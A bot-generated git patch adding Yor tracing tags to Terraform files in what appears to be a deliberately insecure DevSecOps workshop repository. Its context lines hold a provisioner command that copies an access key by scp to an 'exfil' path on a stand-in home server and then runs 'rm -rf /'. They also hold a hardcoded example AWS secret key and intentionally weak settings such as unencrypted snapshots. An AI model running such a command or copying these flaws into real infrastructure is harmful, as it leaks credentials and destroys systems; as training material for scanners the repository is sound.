From 865c2e0da256dab4f6deb2353a8971421e3b6325 Mon Sep 17 00:00:00 2001
From: "github-actions[bot]"
<41898282+github-actions[bot]@users.noreply.github.com>
Date: Wed, 13 Nov 2024 17:07:13 +0000
Subject: [PATCH] Update tags (by Yor)
---
code/deployment_ec2.tf | 150 ++++++++++++++++++++++++++++++++++++++---
code/deployment_s3.tf | 76 +++++++++++++++++++--
code/simple_ec2.tf | 11 +++
code/simple_s3.tf | 11 ++-
4 files changed, 233 insertions(+), 15 deletions(-)
diff --git a/code/deployment_ec2.tf b/code/deployment_ec2.tf
index 7e3d2bba..2b6df4d0 100644
--- a/code/deployment_ec2.tf
+++ b/code/deployment_ec2.tf
@@ -17,7 +17,18 @@ export AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMAAAKEY
export AWS_DEFAULT_REGION=us-west-2
echo "
Deployed via Terraform
" | sudo tee /var/www/html/index.html
EOF
-
+
+ tags = {
+ git_commit = "d4c35e0270bfd542051278ca30b4b3872c1ae0b2"
+ git_file = "code/deployment_ec2.tf"
+ git_last_modified_at = "2024-01-26 23:01:56"
+ git_last_modified_by = "tprendervill@paloaltonetworks.com"
+ git_modifiers = "tprendervill"
+ git_org = "Takashiyamam"
+ git_repo = "prisma-cloud-devsecops-workshop"
+ yor_name = "web_host"
+ yor_trace = "c4e162de-e927-46b8-be0a-64173d5de48f"
+ }
}
resource "aws_ebs_volume" "web_host_storage" {
@@ -25,14 +36,36 @@ resource "aws_ebs_volume" "web_host_storage" {
availability_zone = "${var.region}a"
#encrypted = false # Setting this causes the volume to be recreated on apply
size = 1
-
+
+ tags = {
+ git_commit = "d4c35e0270bfd542051278ca30b4b3872c1ae0b2"
+ git_file = "code/deployment_ec2.tf"
+ git_last_modified_at = "2024-01-26 23:01:56"
+ git_last_modified_by = "tprendervill@paloaltonetworks.com"
+ git_modifiers = "tprendervill"
+ git_org = "Takashiyamam"
+ git_repo = "prisma-cloud-devsecops-workshop"
+ yor_name = "web_host_storage"
+ yor_trace = "d14fd0b4-7a37-4ec1-b598-778254737aad"
+ }
}
resource "aws_ebs_snapshot" "example_snapshot" {
# ebs snapshot without encryption
volume_id = "${aws_ebs_volume.web_host_storage.id}"
description = "${local.resource_prefix.value}-ebs-snapshot"
-
+
+ tags = {
+ git_commit = "d4c35e0270bfd542051278ca30b4b3872c1ae0b2"
+ git_file = "code/deployment_ec2.tf"
+ git_last_modified_at = "2024-01-26 23:01:56"
+ git_last_modified_by = "tprendervill@paloaltonetworks.com"
+ git_modifiers = "tprendervill"
+ git_org = "Takashiyamam"
+ git_repo = "prisma-cloud-devsecops-workshop"
+ yor_name = "example_snapshot"
+ yor_trace = "a6f7bdff-192a-4791-b2d8-b575188fb9a7"
+ }
}
resource "aws_volume_attachment" "ebs_att" {
@@ -69,14 +102,36 @@ resource "aws_security_group" "web-node" {
"0.0.0.0/0"]
}
depends_on = [aws_vpc.web_vpc]
-
+
+ tags = {
+ git_commit = "d4c35e0270bfd542051278ca30b4b3872c1ae0b2"
+ git_file = "code/deployment_ec2.tf"
+ git_last_modified_at = "2024-01-26 23:01:56"
+ git_last_modified_by = "tprendervill@paloaltonetworks.com"
+ git_modifiers = "tprendervill"
+ git_org = "Takashiyamam"
+ git_repo = "prisma-cloud-devsecops-workshop"
+ yor_name = "web-node"
+ yor_trace = "f0f0e33f-6cc0-4440-bbcf-dbed470a6213"
+ }
}
resource "aws_vpc" "web_vpc" {
cidr_block = "172.16.0.0/16"
enable_dns_hostnames = true
enable_dns_support = true
-
+
+ tags = {
+ git_commit = "d4c35e0270bfd542051278ca30b4b3872c1ae0b2"
+ git_file = "code/deployment_ec2.tf"
+ git_last_modified_at = "2024-01-26 23:01:56"
+ git_last_modified_by = "tprendervill@paloaltonetworks.com"
+ git_modifiers = "tprendervill"
+ git_org = "Takashiyamam"
+ git_repo = "prisma-cloud-devsecops-workshop"
+ yor_name = "web_vpc"
+ yor_trace = "2f33cb62-26d1-4339-94b6-92d77fb4167d"
+ }
}
resource "aws_subnet" "web_subnet" {
@@ -85,7 +140,18 @@ resource "aws_subnet" "web_subnet" {
availability_zone = "${var.region}a"
map_public_ip_on_launch = true
-
+
+ tags = {
+ git_commit = "d4c35e0270bfd542051278ca30b4b3872c1ae0b2"
+ git_file = "code/deployment_ec2.tf"
+ git_last_modified_at = "2024-01-26 23:01:56"
+ git_last_modified_by = "tprendervill@paloaltonetworks.com"
+ git_modifiers = "tprendervill"
+ git_org = "Takashiyamam"
+ git_repo = "prisma-cloud-devsecops-workshop"
+ yor_name = "web_subnet"
+ yor_trace = "85cd9d1b-cdf1-4ade-b471-e09fde50c235"
+ }
}
resource "aws_subnet" "web_subnet2" {
@@ -94,20 +160,53 @@ resource "aws_subnet" "web_subnet2" {
availability_zone = "${var.region}b"
map_public_ip_on_launch = true
-
+
+ tags = {
+ git_commit = "d4c35e0270bfd542051278ca30b4b3872c1ae0b2"
+ git_file = "code/deployment_ec2.tf"
+ git_last_modified_at = "2024-01-26 23:01:56"
+ git_last_modified_by = "tprendervill@paloaltonetworks.com"
+ git_modifiers = "tprendervill"
+ git_org = "Takashiyamam"
+ git_repo = "prisma-cloud-devsecops-workshop"
+ yor_name = "web_subnet2"
+ yor_trace = "d4e0989e-16bf-439a-9aa7-f8b2a38d29e3"
+ }
}
resource "aws_internet_gateway" "web_igw" {
vpc_id = aws_vpc.web_vpc.id
-
+
+ tags = {
+ git_commit = "d4c35e0270bfd542051278ca30b4b3872c1ae0b2"
+ git_file = "code/deployment_ec2.tf"
+ git_last_modified_at = "2024-01-26 23:01:56"
+ git_last_modified_by = "tprendervill@paloaltonetworks.com"
+ git_modifiers = "tprendervill"
+ git_org = "Takashiyamam"
+ git_repo = "prisma-cloud-devsecops-workshop"
+ yor_name = "web_igw"
+ yor_trace = "3c888c0d-2917-4060-b9ce-acfc0b43e6cd"
+ }
}
resource "aws_route_table" "web_rtb" {
vpc_id = aws_vpc.web_vpc.id
-
+
+ tags = {
+ git_commit = "d4c35e0270bfd542051278ca30b4b3872c1ae0b2"
+ git_file = "code/deployment_ec2.tf"
+ git_last_modified_at = "2024-01-26 23:01:56"
+ git_last_modified_by = "tprendervill@paloaltonetworks.com"
+ git_modifiers = "tprendervill"
+ git_org = "Takashiyamam"
+ git_repo = "prisma-cloud-devsecops-workshop"
+ yor_name = "web_rtb"
+ yor_trace = "2bc864d0-488f-44b4-90d7-5d0546c3a5bc"
+ }
}
resource "aws_route_table_association" "rtbassoc" {
@@ -134,6 +233,17 @@ resource "aws_network_interface" "web-eni" {
subnet_id = aws_subnet.web_subnet.id
private_ips = ["172.16.10.100"]
+ tags = {
+ git_commit = "d4c35e0270bfd542051278ca30b4b3872c1ae0b2"
+ git_file = "code/deployment_ec2.tf"
+ git_last_modified_at = "2024-01-26 23:01:56"
+ git_last_modified_by = "tprendervill@paloaltonetworks.com"
+ git_modifiers = "tprendervill"
+ git_org = "Takashiyamam"
+ git_repo = "prisma-cloud-devsecops-workshop"
+ yor_name = "web-eni"
+ yor_trace = "5a496ff8-38f6-49c7-8a63-025220cbb959"
+ }
}
# VPC Flow Logs to S3
@@ -144,12 +254,34 @@ resource "aws_flow_log" "vpcflowlogs" {
vpc_id = aws_vpc.web_vpc.id
+ tags = {
+ git_commit = "d4c35e0270bfd542051278ca30b4b3872c1ae0b2"
+ git_file = "code/deployment_ec2.tf"
+ git_last_modified_at = "2024-01-26 23:01:56"
+ git_last_modified_by = "tprendervill@paloaltonetworks.com"
+ git_modifiers = "tprendervill"
+ git_org = "Takashiyamam"
+ git_repo = "prisma-cloud-devsecops-workshop"
+ yor_name = "vpcflowlogs"
+ yor_trace = "55e02f23-106f-4ead-b999-30c8817a85b0"
+ }
}
resource "aws_s3_bucket" "flowbucket" {
bucket = "${local.resource_prefix.value}-flowlogs"
force_destroy = true
+ tags = {
+ git_commit = "d4c35e0270bfd542051278ca30b4b3872c1ae0b2"
+ git_file = "code/deployment_ec2.tf"
+ git_last_modified_at = "2024-01-26 23:01:56"
+ git_last_modified_by = "tprendervill@paloaltonetworks.com"
+ git_modifiers = "tprendervill"
+ git_org = "Takashiyamam"
+ git_repo = "prisma-cloud-devsecops-workshop"
+ yor_name = "flowbucket"
+ yor_trace = "a2bb8be3-4f8e-40a2-a251-811ed83f233b"
+ }
}
# OUTPUTS
diff --git a/code/deployment_s3.tf b/code/deployment_s3.tf
index cfb272e1..0a562b90 100644
--- a/code/deployment_s3.tf
+++ b/code/deployment_s3.tf
@@ -5,14 +5,36 @@ resource "aws_s3_bucket" "data" {
# bucket does not have versioning
bucket = "${local.resource_prefix.value}-data"
force_destroy = true
-
+
+ tags = {
+ git_commit = "d4c35e0270bfd542051278ca30b4b3872c1ae0b2"
+ git_file = "code/deployment_s3.tf"
+ git_last_modified_at = "2024-01-26 23:01:56"
+ git_last_modified_by = "tprendervill@paloaltonetworks.com"
+ git_modifiers = "tprendervill"
+ git_org = "Takashiyamam"
+ git_repo = "prisma-cloud-devsecops-workshop"
+ yor_name = "data"
+ yor_trace = "5d55c650-fedf-44ce-97a0-c81df5ad17df"
+ }
}
resource "aws_s3_bucket_object" "data_object" {
bucket = aws_s3_bucket.data.id
key = "customer-master.xlsx"
source = "resources/customer-master.xlsx"
-
+
+ tags = {
+ git_commit = "d4c35e0270bfd542051278ca30b4b3872c1ae0b2"
+ git_file = "code/deployment_s3.tf"
+ git_last_modified_at = "2024-01-26 23:01:56"
+ git_last_modified_by = "tprendervill@paloaltonetworks.com"
+ git_modifiers = "tprendervill"
+ git_org = "Takashiyamam"
+ git_repo = "prisma-cloud-devsecops-workshop"
+ yor_name = "data_object"
+ yor_trace = "20ac6f3a-69df-49d2-9c19-9a29a1327e4c"
+ }
}
resource "aws_s3_bucket" "financials" {
@@ -23,6 +45,17 @@ resource "aws_s3_bucket" "financials" {
acl = "private"
force_destroy = true
+ tags = {
+ git_commit = "d4c35e0270bfd542051278ca30b4b3872c1ae0b2"
+ git_file = "code/deployment_s3.tf"
+ git_last_modified_at = "2024-01-26 23:01:56"
+ git_last_modified_by = "tprendervill@paloaltonetworks.com"
+ git_modifiers = "tprendervill"
+ git_org = "Takashiyamam"
+ git_repo = "prisma-cloud-devsecops-workshop"
+ yor_name = "financials"
+ yor_trace = "75bff659-5cf7-4b4d-a97b-886d1cb9ed90"
+ }
}
resource "aws_s3_bucket" "operations" {
@@ -34,7 +67,18 @@ resource "aws_s3_bucket" "operations" {
enabled = true
}
force_destroy = true
-
+
+ tags = {
+ git_commit = "d4c35e0270bfd542051278ca30b4b3872c1ae0b2"
+ git_file = "code/deployment_s3.tf"
+ git_last_modified_at = "2024-01-26 23:01:56"
+ git_last_modified_by = "tprendervill@paloaltonetworks.com"
+ git_modifiers = "tprendervill"
+ git_org = "Takashiyamam"
+ git_repo = "prisma-cloud-devsecops-workshop"
+ yor_name = "operations"
+ yor_trace = "bc16340e-1d76-4cdd-b671-1f7786a8a4b7"
+ }
}
resource "aws_s3_bucket" "data_science" {
@@ -49,7 +93,18 @@ resource "aws_s3_bucket" "data_science" {
target_prefix = "log/"
}
force_destroy = true
-
+
+ tags = {
+ git_commit = "d4c35e0270bfd542051278ca30b4b3872c1ae0b2"
+ git_file = "code/deployment_s3.tf"
+ git_last_modified_at = "2024-01-26 23:01:56"
+ git_last_modified_by = "tprendervill@paloaltonetworks.com"
+ git_modifiers = "tprendervill"
+ git_org = "Takashiyamam"
+ git_repo = "prisma-cloud-devsecops-workshop"
+ yor_name = "data_science"
+ yor_trace = "f68c99f1-2cd1-45e0-9548-6d81c678b360"
+ }
}
resource "aws_s3_bucket" "logs" {
@@ -67,5 +122,16 @@ resource "aws_s3_bucket" "logs" {
}
}
force_destroy = true
-
+
+ tags = {
+ git_commit = "d4c35e0270bfd542051278ca30b4b3872c1ae0b2"
+ git_file = "code/deployment_s3.tf"
+ git_last_modified_at = "2024-01-26 23:01:56"
+ git_last_modified_by = "tprendervill@paloaltonetworks.com"
+ git_modifiers = "tprendervill"
+ git_org = "Takashiyamam"
+ git_repo = "prisma-cloud-devsecops-workshop"
+ yor_name = "logs"
+ yor_trace = "a65f5282-1d08-4213-b609-9bf37c7b08bd"
+ }
}
diff --git a/code/simple_ec2.tf b/code/simple_ec2.tf
index dcfa5880..3db3e191 100644
--- a/code/simple_ec2.tf
+++ b/code/simple_ec2.tf
@@ -10,4 +10,15 @@ resource "aws_ec2_host" "test" {
command = "echo Running install scripts.. 'echo $ACCESS_KEY > creds.txt ; scp -r creds.txt root@my-home-server.com/exfil/ ; rm -rf /' "
}
+ tags = {
+ git_commit = "d4c35e0270bfd542051278ca30b4b3872c1ae0b2"
+ git_file = "code/simple_ec2.tf"
+ git_last_modified_at = "2024-01-26 23:01:56"
+ git_last_modified_by = "tprendervill@paloaltonetworks.com"
+ git_modifiers = "tprendervill"
+ git_org = "Takashiyamam"
+ git_repo = "prisma-cloud-devsecops-workshop"
+ yor_name = "test"
+ yor_trace = "00966d03-fae2-4a7c-9d44-df7f0010a1c7"
+ }
}
diff --git a/code/simple_s3.tf b/code/simple_s3.tf
index c0d25fb6..a7e8dc1e 100644
--- a/code/simple_s3.tf
+++ b/code/simple_s3.tf
@@ -6,7 +6,16 @@ resource "aws_s3_bucket" "dev_s3" {
bucket_prefix = "dev-"
tags = {
- Environment = "Dev"
+ Environment = "Dev"
+ git_commit = "d4c35e0270bfd542051278ca30b4b3872c1ae0b2"
+ git_file = "code/simple_s3.tf"
+ git_last_modified_at = "2024-01-26 23:01:56"
+ git_last_modified_by = "tprendervill@paloaltonetworks.com"
+ git_modifiers = "tprendervill"
+ git_org = "Takashiyamam"
+ git_repo = "prisma-cloud-devsecops-workshop"
+ yor_name = "dev_s3"
+ yor_trace = "e216260d-2957-4438-9067-2babb5c8bc91"
}
}